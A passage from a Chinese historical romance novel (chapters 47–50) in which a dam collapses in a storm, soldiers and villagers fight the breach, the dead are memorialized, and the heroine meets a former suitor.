“是。”杜孟秋应下,却迟疑了一下,又问:“都督……需不需要叫郡守大人一同过去看看?他那日在修坝时,好像对那一段记得最清。”
姬阳眼神动了动,语气淡淡:“不必。”
“今日他在城南监工,帮百姓修缮房屋呢。”
杜孟秋闻言,不再多言,拱手退下。
姬阳静静站在原地,指节轻敲着案上的堤防图,眼神落在西南坝段一处标记上,眉心微蹙。
他忽然想起——那处堤段,当初楼弃曾亲自参与修缮。
那时他未多想,如今细思,却有几分说不出的不安,在夜雨将临之际悄然蔓延。
他沉声吩咐:“陆临川,你先回郡守府。”
“我亲自带人去一趟。”
说罢,他披上外袍,提剑出了营帐,快步追着杜孟秋的方向而去。
陆临川回到郡守府时,雨已越下越大。
豆大的雨点敲打在屋檐与瓦片上,雷声在天边滚滚炸开,一道连着一道,似有猛兽在云层深处翻身低吼。
屋中烛火摇曳,帘帐被风吹得哗哗作响,姜辞起身,将窗扉一一合上,手指不自觉拢紧衣袖。
她目光顺势落向院外一处,那是姬阳暂居的偏屋。
漆黑一片,连一盏灯都未点。
按理说,现在堤坝那边也没什么事儿,这时候他应已从前营回府,哪怕只是小憩,也不至于一屋黑沉。
姜辞眉头微蹙,转身吩咐:“银霜,你去看看,陆司马回来了吗?”
银霜点点头,提裙出了屋。
屋内一时间只余风雨声敲窗,姜辞走回桌边,拿起桌上的医书,却一个字也看不进去。
她低头翻了两页,又放下,手指在书角轻轻敲着。
雨声密集得像是要将屋瓦压塌,远处还有不知哪家的狗在呜咽,一声一声,令人心烦。
不多时,银霜匆匆跑了回来,裙角沾了雨,发稍带着水气,脸色也变得焦急。
“小姐,大事不好了!”
姜辞猛地起身:“怎么了?”
银霜气喘吁吁道:“我刚去陆司马院中,他是刚回来,蓑衣还未脱干净,就有东阳军来报,说堤坝那边出事了!”
第48章
“如今水势忽然湍急,压得堤脚不稳,都督带着人已经赶过去了。”银霜补充道。
姜辞神色一紧,手中的书啪地一声扣在桌上,神情肃了下来。
那图纸她也参与过,设计严密、层层加固,不该轻易出问题,除非,有人动了手脚。
她沉声道:“我也去看看。”
屋外雨势如注,帘帐被风卷得猎猎作响,仿佛下一刻就要被撕开。
银霜望着姜辞系斗篷的动作,急得直跺脚:“小姐!这雨这么大,您一出去就是一身湿,要是淋坏了发热了怎么办?”
姜辞抬头看了她一眼,语气虽温,却带着不可动摇的坚定:“我放心不下。”
她顿了顿,披好外袍,低声道:“更何况,堤坝若真出了问题,我若在场,或许能帮得上一点忙。”
“可您这肩不能扛手不能提的。”银霜急得快哭了,“那些活儿就该那些当兵的去做,您去了也不顶什么用!”
姜辞没有回头,只站在廊下,望着黑压压的雨幕,静静地说:“如果堤坝真的出了事,哪怕只是塌了一寸,也会被水势瞬间撕开。”
“到时候,洪水涌进来,疫区的人、城中的人,都保不住。”
银霜被她说得一噎,站在原地,手指在袖口中紧紧绞着。
她知姜辞性子温和,却也最难拗。心一横,便转身取来了蓑衣与斗笠,一边拭泪一边嘴里碎念:“真是拿你没办法……”
二人穿戴妥当,刚跨出门槛,姜辞忽而停下,像是想到什么,转身望向银霜。
“等等。”她轻声道,“修坝完那日,都督便遣散了协助的百姓。现在若真出事,只靠东阳军,不够的。”
她看着那一片漆黑雨夜,目光却极亮:“这种时候,人多就是力量。”
她转头望向银霜,眼神格外坚定:“走,我们先去找百姓。”
雨水沿着屋檐倾泻而下,打湿了长街石板,姜辞提着裙角,带着银霜一家一家地敲门。
她先去了那几个当日出过力的工头家——
第一家,门扉紧闭,屋里灯火尚在。
“是我,姜辞。”她站在门下,声音被风雨打碎,却一遍又一遍唤着,“堤坝那边可
能出问题了,都督带人去了。但这雨若不停,怕人手不够,我想请你帮帮忙。”
里头先是一阵沉默,片刻后,有人应道:“这天雨夜黑的,谁还敢往堤上走?都修好了,怎么可能突然出事?”
姜辞没有争辩,只说:“若只是虚惊一场,那是最好。但万一真出事了呢?”
“堤坝若塌,不是某一处田某一座屋,而是整个宁陵城都要遭灾。到时候,谁也逃不了。”
那人仍在犹豫,屋里还有妇人低声劝:“你这几日才退烧,不能再出去了。”
姜辞听见了,却只静静站在雨中,未动分毫。
许久,门终于打开了,一名披衣未整的中年男子走出来,正是当初带头修坝的老工头。
他将蓑衣搭在肩头,看了姜辞一眼,声音嘶哑道:“姑娘说得对,咱干了半个月,不该让它白废。”
“我跟你去。”
他回头冲屋里喊了一声:“我出去看看,没事最好,有事……也得救。”
姜辞朝他点了点头,眼底浮出一丝压下的情绪:“多谢你。”
银霜悄悄吸了下鼻子,扶住姜辞的手。
随后,他们挨家挨户,雨中一盏灯、一扇门地敲过去。
有人在屋里骂:“这时候来喊人,疯了吧!”
有人只探头看了一眼便退回去,摇头不语。
可更多人,在听到“堤坝出事”“全城恐将被淹”这几个字后,眉头紧锁,站在原地不动了很久——不是不愿帮,而是怕,怕这是真的。
直到那位工头又出声:
“咱们这半个月不是白做的,也不能最后都毁在一场水里。”
“现在去,不是替谁,是替自己。咱们的田地、家屋、孩儿媳妇儿,全在宁陵。”
“走一趟,没事回来睡觉。有事……还有一线机会补救。”
有人终于沉沉点头,提起雨帽跟上。
又一人,咬咬牙,也套上了蓑衣。
再有人,推开门,握紧了手里的木锄。
姜辞站在雨中,看着那一道道人影从巷口、墙后、屋檐下走出来,披着蓑衣,踏着泥水,一步步聚到她身边。
她看着他们,声音不高,却格外清晰:
“谢谢你们。”
雨更大了,天边有雷声滚过,像是一声长长的预警。
姜辞回头看了一眼暗色的天幕,抬脚向前。
身后一群百姓,亦紧随其后,往堤坝的方向走去。
堤坝前线,风雨交加。
夜色深沉,风裹着雨点砸在脸上如刀割般生疼。河畔几盏油灯被风吹得明灭不定,照不出多远,只能隐约看见堤岸上的芦苇随风摆动,一队黑衣身影在雨幕中缓步向前。
姬阳披着墨色斗篷,脚下踏入积水的泥地,每一步都深陷入地。靴底发出唧哧唧哧的响声,沉闷、厚重。
“就在前面。”杜孟秋撑着灯笼,走在他前侧,声音压在风里,“刚才几个弟兄探到那段坝底有泥浆上涌,疑似空蚀。”
姬阳未答,只是目光沉沉扫过远处水面。
洛渠与宁榆河在此交汇,本就水势复杂,雨季来时涨得快,此刻上游连夜降雨,水位竟已淹没了河中界碑,水面宽出一倍不止。
脚下堤坝微微震动,像是远处水脉的冲力正一寸寸推来。
杜孟秋率先俯身探查那一段坝脚,只见堤石缝隙处已有泥浆缓缓渗出,雨水与之交织,颜色已不再清澈,而是一种深褐色的浑浊。
“你看。”他沉声开口,“这不是地表水,是下层泥涌,下面已经松了。”
姬阳半蹲下来,拨开几块碎石,手掌贴上堤壁,冰冷湿滑,却能明显感觉到微微发颤的土层。
那不是风震,是水压。
“坝心虚了。”他说。
雨声更急,风越刮越狠,仿佛整条河都在暗夜中鼓涨,喘着粗气。
“上游来水太快。”姬阳站起身,望向更远的河道,“宁榆河那边连着几条小渠,照这势头,若一个时辰内水位再涨半尺,就算这里不塌,水也会漫过坝顶。”
杜孟秋脸色微变:“要不要调人封沙袋?我们自己几个人怕是——”
姬阳点头:“你先去。”
他低声道:“有备无患。”
他站在风雨中,望着水线一点点上涨,斗篷已被雨水浸透,贴在身上,冰凉入骨。
但他没动,他只是静静站在那里,像一柄插在泥土里的桩子。
身后军士在压低嗓音议论:“都督亲自来了……”
“这雨下得这么急,水位若再高半尺——”
话音未落,远处河面忽然传来一声闷响,像有什么沉重的东西塌落入水。
所有人都顿住,姬阳猛地回头:“火打高。”
杜孟秋高举灯光,顺着那一声响望过去,只见远处河水中有一块石材慢慢沉下去,原先固定它的土石,已被水流挖空。
“果然是塌口前兆。”杜孟秋咬牙。
姬阳转身,一边吩咐:“传我令,立刻调堤防营五十人至西坝。”
“备麻袋、封石、固桩,动静不要闹大,迅速完成布防。”
“是!”
西坝底部,一声轰然闷响,几乎是从地底炸开来的。
紧接着,整个堤段猛地一颤,石土如脱骨般往外一滑,那原本稳固的堤脚,在水压与泥涌交错冲击下,竟瞬间塌陷出一道深口!
“塌了!”不知是谁大吼一声。
下一刻,洛渠之水仿佛猛兽脱笼,从那缺口处汹涌而来,卷起的水浪夹着泥沙、断石、枯枝,狠狠拍打在堤壁上,水声轰鸣如雷!
“快——!快堵上!”
姬阳站在塌口十丈开外,脸上的冷意却比风雨更凛冽。他望着那道水流怒吼的缺口,喉头发涩,心底却强行按下不安。
他知道自己不能先一步慌乱。
这场雨,比他预估的来得更早,也更急。
他强自镇定,冷声吩咐:“传令,所有东阳军,全员投入抢堵西坝塌口。”
“将麻绳分批取来,一端绑腰,一端系桩,不许任何人单人行动。”
“是!”
士兵们来不及多想,抹了把脸上的雨水,转身朝马车奔去,疯了一样搬运麻袋与石块。
有人将粗麻绳往姬阳腰间一勒,一边套一边喊:“都督,小心足下!”
姬阳自己扯过绳头,往身上一缠,再反手一圈,另一边紧紧绑在了堤岸远处老树上。雨太大,绳子打滑,他咬牙将结死死扣住,手背瞬间磨破皮。
杜孟秋冲他喊:“都督,这等事属下来就——”
“闭嘴。”姬阳低声,“多一个人,宁陵就能少淹一尺。”
说完,他已经提起一袋麻包,脚下陷进泥中,步步踏进暴雨与泥涌中。
水流还在咆哮,堤口缺口越冲越大。
东阳军排成一列,沿着狭窄堤道将沙袋一个个接力送入,最前线士兵几乎是整个人趴在水边,将袋子用肩扛住,再用身子往塌口一顶!
“砸桩!快砸桩!”后方呼喝声不断,有人高举长木桩,三人抬着往下砸进泥水。
“再拿桩来!缺了!”
“绳子拉紧!那边有人掉下去了——”
“快!去救人!”
水声太大,命令在风里被冲散,但每个人都在跑、在喊、在搬、在顶。
有士兵失足滑落,被急流卷走,只来得及惊叫一声,就没入黑水。
另一人跳下去想救,却也险些被卷走,是他同伴咬牙拉住绳索,三人一并摔进泥里才拉回来。
有个年轻军士腿被压在石下,满腿是血,仍死咬着牙说:“先顶住坝……别管我!”
东阳军,人人咬牙顶着,不退一步。
他们的脚陷在泥水里,肩膀顶着风,手背被麻袋磨烂,嘴里全是泥和雨,但没有一个人后退。
姬阳满身雨水和泥浆,甲胄早已脱落,双手一边搬沙袋,一边吩咐部署。
“第一小队,往左边绕,那里也开始松动了!”
“快去搬木排,把西口那边压上去。”
他声音嘶哑,眼睛里却没有一丝慌乱,哪怕他的心,其实已经没底。
没人能预判这场雨会下多久,上游到底还要涨多少;没人能确定这道坝还能撑多久。
他只知道,这一夜塌坝,全城就完了。
雨还在下,水声轰鸣如雷。
堤口这边刚被堵上一些,但水势不退,反而在持续咬噬堤岸两侧的泥石,塌口缓慢扩大。
“快、快,右侧!再给我砸两根桩子!”
“麻袋呢?那车麻袋还没送过来吗!”
“人手不够了!”
一连
串喊声此起彼伏,堤前油灯被风吹得东倒西歪,照出一道道泥水中搏命的身影。
杜孟秋奔过来,压低声音在他耳边喊道:“都督,能换的都换了,剩下的是重伤未愈的,还有两个昨日发烧后才醒。”
“再塌一丈,水就会从左岸拐弯进村,宁陵就真守不住了。”
他抬头望去,只见河面上的水光一寸寸逼近堤顶,已将堤外几棵柳树的枝丫全部吞没。沙袋一袋袋扛上来,却也被湍急水流卷走。
麻绳拉得笔直,士兵们像一只只蚂蚁死咬着命线,在湍流里拼命压住水头。
一个东阳军士被一根浮木击中,头破血流,却死死抱着沙袋不放,他的同袍一边哭一边扛他上岸,嘴里喊着:“都督,人快没了,我们顶不住了啊!”
姬阳站在原地,这一刻,他才真正明白,哪怕东阳军再精锐,也不是神。
堤坝已摇摇欲坠,堤下石桩尽数淹没,人力轮换已不及,沙袋供不上,锤子丢了、绳索断了,塌口却还在崩,一点点吞下他们的努力。
他嗓音发哑,手指颤着按住胸膛,声音低得几乎嘶哑:“还剩多少人?”
杜孟秋迟疑一下:“不到两百。”
姬阳咬了咬牙,一字一句道:“那也给我死撑。”
堤坝边的水声已几乎盖过了人声,而就在此刻,远处忽然传来一阵急促的脚步声。
油灯的光穿过风雨,像是夜中亮起的星星,却渐渐带出后方成列的火光与人影。
姬阳猛然回头——
雨幕中,一身蓑衣的姜辞正撑着灯,一步步踩着泥水走来。身后,是上百号村民,提着锄头、背着麻绳,还有人扛着木桩。
他站在原地,眼眶竟一时被风雨灌得发涩。
有人在他身侧低声道:“是……是夫人带人来了!”
第49章
百姓抵达后,堤前的乱象稍微收敛下来。
姜辞只站在前方堤岸不远处,没有立刻走到姬阳面前,也没有与谁言语。
她只是望了一眼堤口,任由雨打在她的身上和脸上,她在他身后默默陪着他。
轰隆一声巨响,从堤坝底部炸裂而开。
是水与土石撕扯的声音,是整个坝心彻底松垮的前兆。西坝口最中心的一段,在泥涌与暗水的交错侵蚀下,终究撑不住,轰然崩塌。
那一瞬,天地都像颤了颤。
“退开!”姬阳怒吼一声。
可为时已晚。
湍急如怒龙的洛渠之水猛然冲入缺口,带着上游积蓄整夜的洪势,卷着石块、枝木、腐叶、尸骸,撕裂般扑向堤坝内侧。
前线几名正在扛沙袋的东阳军措手不及,整个人被水柱掀翻进水,连呼救声都来不及发出,便被吞噬。
“快!固坝!绳索拉紧!”
姬阳抬手指挥,刚一转身,整条绳索砰地崩断,堤石碎飞而起,夹杂着水浪狠狠砸来。
他被击中胸口,身体倒飞而出,重重摔在水中,腿部磕在石头上,发出一声闷响。
有人冲来搀扶:“都督——!”
“我没事,继续堵!”姬阳咬牙撑起身,眉眼间满是雨水与血痕,浑身被水浸泡的很沉,斗篷早不知所踪,手掌死死抠住泥地往上爬,双膝一寸寸蹭过碎石,眼中仍盯着那道缺口。
但坝口裂得太快,泥石根本来不及回填。
“来不及了!”杜孟秋扑上来,压低声音大吼:“都督,水压太大,再堵也止不住了——我们得撤!”
“还有几处低洼的民宅!”姬阳吼回去。
“人没了,就都完了!”杜孟秋一把将他扯起,厉声喝令:“所有人往高地撤退!护住后堤线,别让水蔓延进主街!”
“受伤的先撤,能走的护着走,东阳军断后!”
“是!”
一声声嘶喊在风雨中传开,剩下的百姓也终于明白——堤坝,守不住了。
一部分东阳兵仍在塌口苦撑,肩扛麻袋,腿埋泥水,强撑着不让水流冲出更远。但水势太猛,已有几人被卷入湍流。
姜辞远远站在堤前,望见那一刻,手指攥紧,目光灼亮却无声。
她看到姬阳踉跄着被拉起,又重新冲入水边,仿佛根本不知疲倦,哪怕腿部鲜血直流。
百姓开始撤,士兵也撤,整条堤岸边风声、雨声、奔跑声混作一片。
此时宁陵西南的低洼区已彻底沦陷。
水浪呼啸涌入,民居接连被淹,墙体轰然垮塌,街巷中的油灯被冲灭,无数人扶老携幼在雨中惊慌奔逃,喊声、哭声响彻半个宁陵。
这一夜,整个宁陵如临溃城之厄
直到黎明破晓,天边雨势终于歇下。
风还在刮,水未退,泥泞的堤岸上,东阳军与百姓疲惫至极,或瘫坐、或趴地,有人双手满是血痕,此刻靠着树干和彼此沉沉睡去。
姬阳独自一人,坐在断堤之上。
他仅一身黑衣,浸着泥浆,脚边是坍塌的石堆,前方,是已经淹去半城的废墟与断瓦。
他没有言语,也未动弹。
风吹动他的发梢,眼中是死水一潭的暗色。
这一夜,他调兵亲上前线,亲自筑坝,百姓也来了,东阳军无一退却——可终究,还是没能挡住这一场天命。
“……对不起。”
他忽然开口,声音低得几乎听不见,是说给城池,是说给百姓,是说给所有死在这一夜的士兵。
姜辞缓步走到他身边,没有说话,只静静坐了下来。
她身上同样满是雨迹与泥污,神色看不出一丝情绪。
姬阳偏头看她一眼。
她望着那片废墟,说道:“你已经尽力了。”
她语气轻,却沉得像山。
那一刻,姬阳忽然低下头,眼眶发红,泪水悄然滑落,他像是终于撑不住了,在姜辞面前,第一次如此无助地哭了出来。
他颤抖着肩膀,姜辞怔了一瞬,随即抬手将他抱住,轻轻拍着他的背。
风渐渐小了些,堤岸上的水声却仍在耳边回荡,像是久久不肯散去的噩梦。
姬阳伏在她肩头,声音低得像是从胸腔里挤出来的,他哑着嗓子问:
“我是不是……很无能?是不是很没用?连自己的百姓……都保护不了。”
姜辞静静听着,手掌仍落在他背上,缓慢地拍着,像是在安抚一个困兽。
她低下头,声音轻而温柔:
“如果没有你,整个宁陵……早就淹了。”
“你已经拼尽了全力。”
她顿了顿,又轻声道:“不然,今天被吞掉的……就不止是西南那一块低洼。”
姬阳渐渐平静下来,收敛了情绪,缓缓坐直了身子。
姜辞侧头望过去,这才注意到他额角隐隐有血痕,而湿透的裤脚上,也沾满了泥浆与暗红。她眉头微蹙,轻声开口:
“你受伤了。”
姬阳像没听见似的,淡淡地回了句:“无碍。”
姜辞不由分说地站起身,语气不重,却不容抗拒:
“让我看看。”
姬阳本欲推辞,但抬眼对上她的目光时,那双眼睛里有一种沉静的坚定,叫他下意识噤了声。
他最终侧了侧身。
姜辞蹲下身来,取出随身的水囊,打湿帕子,动作轻柔地为他擦拭额角血迹。纤细的手指拂过他肌肤,凉意渗入,带着几分温柔。
接着,她跪坐下来,伸手撕开了他沾泥的裤腿布料。
下一刻,她的手顿住了。
那里哪里是什么无碍的小伤,血肉翻卷,一道深口斜斜划过小腿。显然是先前混乱中,被水中乱石重重撞上。
姜辞神色一沉,低声道:“我在这里帮你简单处理一下,等回了郡守府,再给你敷药。”
她不再多言,迅速撕开自己的里衣袖子,扯出一条干净布料,小心为他清洗血污,又用干净的帕子先行包扎。
姬阳原本只静坐着未语,但此刻,他忽然偏头望她。
朝阳初升,天边的云卷着一点金光。她额前的发丝贴在脸上,专注又细腻,生怕弄疼他。
这一刻,他忽然想起了宁陵的一些事。
姜辞总是会在他最需要的时候出现,她不说漂亮话,也不讨好他,但总能站在他身侧,替他想前一步,替他看远一寸。
有一瞬间,他甚至生出一种说不清、道不明的感觉——
像是夜雨中的一盏灯,落进了他的心湖,悄无声息地,晕开了一圈温柔的涟漪。
只是这一刻,姬阳尚未察觉。
他只是看着她,沉默片刻,轻声说了句:
“……谢谢你。”
姜辞没有抬头,只回了句:
“你是都督,是他们的主心骨。”
“你若倒了,他们该怎么撑下去。”
姜辞替姬阳包扎完伤口,便站起身,轻声道:“你先歇一歇,我去看看百姓那边。”
她走下堤岸,雨后的泥水没过了鞋面,衣袍早已沾满污痕,然而步履稳健。
路过一棵被连夜风雨拦腰折断的杨树,她停了一下,帮两个年长的妇人将堆积在枝干上的积水拨开,好让人可以坐下歇脚。
几个受了惊吓的小孩躲在母亲怀中,不远处,有村民在低声议论灾情。
姜辞听见了,没有回头,只挽了挽袖子,蹲在地上替一位扭了脚的老伯包扎。那老伯喘着粗气问她:“姑娘,都督怎么样了?他在前头一直没歇着吧?”
姜辞语气温缓,却含了些不动声色的压低:“他没事,一点小伤。你们安心休息吧,前头的堤坝还得靠你们一起撑。”
这话落地,几人都不言声了,只重重地点了点头。
堤岸高处,姬阳坐在断坝旁,一手撑膝,一手搭在身侧破裂的石块上。他静静望着姜辞的背影,看她在人群中忙碌、低语、抚慰,面上不显疲惫,始终坚定从容。
他目光缓了缓,又望向前方那片被水吞没的宁陵西南角,残垣断壁,房屋坍塌,水面上浮着破损的家具和残木。
眼中倦意翻涌,却又隐隐透出几分说不清道不明的柔软。
杜孟秋快步踏着泥水奔来。
“都督,”他微喘着开口,拱手汇报道,“刚收到水情探报,宁榆河上游雨势已停,水位在缓退。”
姬阳抬眸,嗓音尚哑:“退了多少?”
“较昨日低了三寸,但仍高于警线。”杜孟秋顿了顿,“推测今晚半夜前后可稳住。但堤坝重创,坝心已断,三日内若无修复之法,一遇再雨仍会崩塌。”
姬阳微一点头,望向那塌口,半晌未语。
杜孟秋问:“是否立刻召工匠重修坝心?”
“重修。”姬阳道。
杜孟秋沉声应下:“遵命。”
他正要转身,又听姬阳加了一句:“将今日参与抢险的兵与民,全数造册登记。”
“特别是……死伤之人。”
杜孟秋脚步微顿,回头望向他。只见那道高大的身影,坐在断堤之上,衣甲斑驳,面色苍白,背影却稳如一桩。
“要他们的名字。”
“一个也不能漏。”
“是。”杜孟秋抱拳,转身而去。
那一刻,姜辞也恰好转头看向高处,望见姬阳正静静望着堤口-
暮色沉沉。
姜辞坐在屋内。银霜走近,轻声道:“小姐,我问了陆司马,那天抢险,到最后确认……死了四十七人,其中三十一个东阳军,其余都是村里自愿来的百姓。”
姜辞眼睫轻垂,许久才问:“他们的名字,记下了吗?”
“都记下了。”银霜从袖中取出一张名册,递给她。
“我按照您的吩咐抄了一份来。”
姜辞接过,一字一字看。
随后,她站起身,道:“你去拿些布匹来。”
“小姐你这是……”银霜不解。
“做些布条。”她语气温柔而坚决。
当夜,姜辞点了灯,坐在屋中,亲手将白布剪成布条。她将每一位死者的名字,一笔一笔写下,字写得极慢极稳,仿佛怕他们承不起半分草率。
银霜看她眼睛熬红,终是忍不住劝:“小姐,要不我来写吧……”
姜辞摇头,只道:“这些人,我要一笔一划记住。”
她写下最后一个名字时,天已泛白。
次日清晨,堤坝南侧的老树下,姜辞带着银霜,将那一条条写着名字的布带系在枝头。
风拂过,白布随风轻摇,像是一道道未曾言说的亡魂,在树下低语。
她站了良久,目光沉静,之后转身离去。
傍晚时分,姬阳带东阳军巡堤而过。
“等等。”他忽地停住马。
前方那棵老输,枝上系满白布,一条条顺风扬起。
“谁做的?”他低声问。
身后陆临川驱马赶上来说道:“是夫人今晨亲自系上的。”
姬阳怔了一瞬,目光追着那些白布许久,他忽地翻身下马,朝老树缓缓走去。
他走至树下,站定,目光一一扫过那些名字。
他闭了闭眼,猛然转身,厉声喝道:
“——东阳军听令!”
沉沉暮色中,战士们齐刷刷停下,立于堤边,眼神肃穆。
姬阳立于树下,朗声道:
“此战堤溃,宁陵溃角,我东阳军与百姓并肩死守,守至断堤,守至血尽。”
“今日树上所系,皆是我军与百姓之忠魂。”
“记其名,铭其志。”
“他们以命筑堤。”
“此魂不灭,此志不弃。”
他说到最后一句,声音微哑,却掷地有声。
“列阵。”他道。
“向亡者行礼。”
风止水缓,整整一列东阳兵,挺身而立,齐齐躬身。
这一刻,夕光从云后透出,落在那棵满挂白布的老树上,仿佛天地为之一肃。
姜辞与银霜并肩站在宁陵城楼上,极目远望,风拂过她鬓角的发丝。
她的心头忽然泛起一丝酸意,竟是第一次,真切地为姬阳感到心疼。
银霜忽然上前一步,低声道:“小姐,璟公子来了。”
姜辞回头望她,语气中带着一丝讶然:“谢归璟?”
第50章
银霜继续说道:“璟公子就在城中酒楼,要去见他吗?”
姜辞站在城楼之上,朝着远处被晚霞映照的瓦舍望了一眼,雨后的宁陵有些地方依旧淹着水。
她沉默片刻,轻声笑了:“原本我以为,那日紫川一别,这辈子都没机会再见了。”
银霜犹豫了一下:“小姐……那要告诉都督吗?”
姜辞微微侧目看她,半晌才道:“告诉他吧。但别说我和谢归璟曾差点定亲的事,我不想多生枝节。”
“是。”银霜点头应下。
姜辞与银霜一同来到宁陵郡中最大的宜春楼。
酒楼三层,木窗阔敞,靠窗坐着的人能将整条街尽收眼底。谢归璟正倚窗而坐,身着一袭青衣,手中把玩着酒盏,整个人仍是那副翩翩公子的模样。
他眉眼干净,唇角微勾,似是正在笑着等谁。
直到他一眼望见姜辞——
她一身月浅杏曲裾,乌发垂至腰间,身上系着细绳流苏,步履从容,随着人群缓缓走近。
谢归璟眼里的光一瞬间像是落满天星,他不自觉起身,唇角的笑意真切了几分。
姜辞上前,笑着打招呼道:“璟公子。”
谢归璟嘴角一僵,像是被这三个字轻轻打了一下。他有些无奈地笑着:“阿辞如今不再叫我璟郎了?倒显得我像个外人。”
姜辞神色坦然:“如今我已嫁做人妻,自然该时时记得自己的身份。你也该如此。”
谢归璟垂了垂眸,像是不愿听这话。他避开话锋,转而开口:“里边坐吧,介绍介绍这宁陵有什么好吃的?我今儿可要好好尝尝。”
姜辞点头:“好。”
人人一同入座。临窗的位置早已备好,桌上碗盏整洁,菜未上,茶已温。
姜辞看了一眼银霜,道:“你去向都督报一声,就说我在宜春楼会见一位凉州故友。”
银霜会意,欠身离开。
谢归璟苦笑:“没想到,我如今成了你口中的‘故友’。”
姜辞没有接话,只抬手替他倒了一盏
酒,举杯:“这杯,我敬你。”
谢归璟接过,垂眸饮下。他看着眼前的姜辞——面容未改,却沉静了许多。眉眼间的少女清澈已褪,替之以一份沉稳与分寸。
“你瘦了。”他说,“可是在东阳受了苦?他……有没有为难你?”
姜辞摇头笑了笑:“我们相处融洽,他也从未苛待我。你知道的,我与他不过联姻而来,感情这事……终究要慢慢来。”
“但好在,他是个好人。有担当,也有分寸,是个值得信赖的人。”
谢归璟怔了一下。
她的话中每一句都是实意,可每一句落在他心头,却都像一针一针缝进胸口。过了半晌,他才轻声开口:“那……便好。”
姜辞又问:“你怎么来宁陵了?”
“是刺史大人。”谢归璟答,“他说你前些日子送去一封信,言及宁陵水患常年不断。他担心你,便让我来看看是否需要支援。若有需要,凉州可以调人来助一臂之力。”
“确实需要。”姜辞道,“昨夜刚塌了一处坝口,城南低洼处已被水冲垮,许多百姓失了家屋。重建是个大事,眼下东阳军也吃紧,若你能带人来,宁陵百姓都会感激你。”
谢归璟听她说得诚恳,也举杯一饮:“你还是一点没变。你总是这样,不问来路,不问身份,只看对错,只顾人心。”
姜辞低声:“我只是想,倘若有一天,你我落难,也愿有人能出手一援。”
谢归璟望着她,眼底满是温柔,又似有些藏不住的伤感。他忽然笑了笑,轻声问她:“还记得小时候,咱们在紫川城外老庙里,那棵老槐树下的约定吗?”
姜辞愣了片刻,旋即回以一笑:“记得。但我们已经不在那棵树下了。”
一语落定,桌上风吹窗纱微动,像是那年春日的一缕风,落在指尖,轻轻地,就散了。
谢归璟没有再说话,他知道,她已不再是当年那个追着他喊“璟郎”的姑娘。
日头偏西,营帐前檐落下斜阳,照在沙地上,映出一道斑驳光影。
姬阳正在翻阅一封灾后勘查折子,听闻东堤修缮进度稍缓,便命人去调一批干料草桩过夜加固。
这时,一阵轻快脚步声踏过长廊,银霜小心地走来,在他几步开外停下。
“都督。”
姬阳目光从纸上抬起,语气平淡:“什么事。”
银霜垂首道:“小姐让我来报一声,说她去宜春楼见一位凉州故人。”
“……男的?”
银霜一怔,没料他会问得这样直接,旋即点头道:“是,一位姓谢的公子。”
姬阳没说话,仿佛在听,但眼神却落空在某一处。
银霜看不出他的情绪,忍不住又补了一句:“小姐说,是老朋友久别重逢,只是吃顿饭,约莫不会久留。”
“……嗯。”
他轻轻应了一声,不带任何情绪波动。
银霜原以为他会多问几句,或者至少有一丝疑惑,可姬阳只是垂眸,把手中的折子翻过一页,重新落笔批注,仿佛这件事并未入他心。
她退下之后,帐内一时只余笔尖在纸上轻划的沙沙声。
姬阳没有抬头,可那一行字,终究没写下去。
笔锋在纸上顿住,没墨的一瞬,他忽然发觉自己竟不记得方才读到了哪一行。
凉州故友。
姓谢。
她亲自前去。
他不该想这些,她并未避着自己,事前还遣人告知,做得周全得体,毫无可挑之处。
但心中某一根弦,仍在不动声色地绷着。
他放下笔,靠在椅背上,静静发呆。
宜春楼就在西南街那头,是宁陵城中最大的一家酒楼,从这里前走过去,约莫一炷香时间。
他闭了闭眼,仿佛只是想了件微不足道的事。
营帐外风声猎猎,黄昏将至,天边一线夕阳被乌云遮住,染出一抹冷金。
姬阳批阅完最后一份文书,抬手将它合起,站起身来。
他走至一旁的衣架,取下那件墨色披风,手指拂过衣领。披风上的边角还残留着昨日奔赴堤坝时溅起的泥痕,但他并未在意,拎起便披在肩头。
刚一掀帘出帐,他的目光便倏然顿住。
不远处的树荫下,银霜正与陆临川说着什么,两人低声交谈,银霜神色冷冷,是他不曾见过的样子。而陆临川却笑得轻浮不羁,半个身子倚在树干上,唇角噙着戏谑。
姬阳眸色微沉,只一眼便收回了视线。
他翻身上马,未作片言,只策马扬蹄而去。
宜春楼前,姬阳刚勒住马缰,正欲下马,眼前忽然一幕——
他看见姜辞,正同一位青衫男子并肩从酒楼走出。
那男子眉目温润,眼含柔光,侧身为她撑着帘子,脚步不紧不慢,始终与她保持半步之距。姜辞仿佛说了句什么,那男子轻轻笑了,目光中尽是熟稔与怜惜。
忽有一滴水自檐角落下,眼看便要砸在姜辞发顶,那男子却像是早有预判般抬手拦了下去,指腹在她鬓边一顿,而她并未察觉,只是抬眼,迎面望向街角。
她看见了姬阳。
“那个,”她停下脚步,语气自然坦荡,抬手指向街边高坐在马上的那人,“就是我的夫君,姬阳。”
谢归璟顺着她的指望过去。
便看见姬阳一身黑甲端坐马背之上,神情沉冷,眉眼如刃。灯火映在他面颊,只照出寥寥几分轮廓,却透着一股压人的气势。
谢归璟心口微震。
这一刻,他竟忽然明白,自己从前所认为的天作之合,或许早在离别时就被命运悄然改写。
可他的面上仍挂着温和笑意,抬步上前,拱手道:
“在下谢归璟,协管土木营造,今得暇来此探故人,幸会都督。”
“谢公子。”姬阳淡淡开口,声音不急不缓,听不出情绪。他并未立即下马,只俯瞰着谢归璟,一如往常平静而冷锐。
片刻,他才翻身下马,稳稳落地,步伐沉稳地走向姜辞。
姜辞立在牌楼下,发尾微湿,眼角带着夜风吹拂的余意。
姬阳走至她面前,未言一语,只伸手,将自己身上的披风解下,为她披上。
披风带着热意,她一怔,也没有拒绝。
他这才转头看向谢归璟,语气极简:“幸会。”
谢归璟笑而不语,心中却是波澜四起。
姜辞问道:“你怎么来了?”
“顺路。”姬阳只答了两个字。
谢归璟垂目,没说什么。
姜辞想了想,问谢归璟:“你今晚可有落脚处?”
“我就住在楼上。”谢归璟笑着答,“天色不早,就不留二位了。”
说罢,他又向姬阳拱手,目光沉静。
姬阳点头。
姜辞也不多说,只随他道了句“改日再叙”,谢归璟便轻步上楼,背影渐隐。
姬阳牵着缰绳,与姜辞并肩缓步而行,一路朝郡守府去。
风拂过瓦楞,街市渐静。
走至郡守府门前时,姜辞忽然停住脚步,转头望向他,眉眼淡淡,却像藏着一点心事。
“你就没有什么想问的?”
她声音温和,没有试探,只是认真。
姬阳却只是垂眼看着她片刻,然后摇了摇头。
正说话间,二人身后忽然传来一阵急促脚步声。
还未反应过来,一个身影就扑通一声跪倒在姜辞脚下。
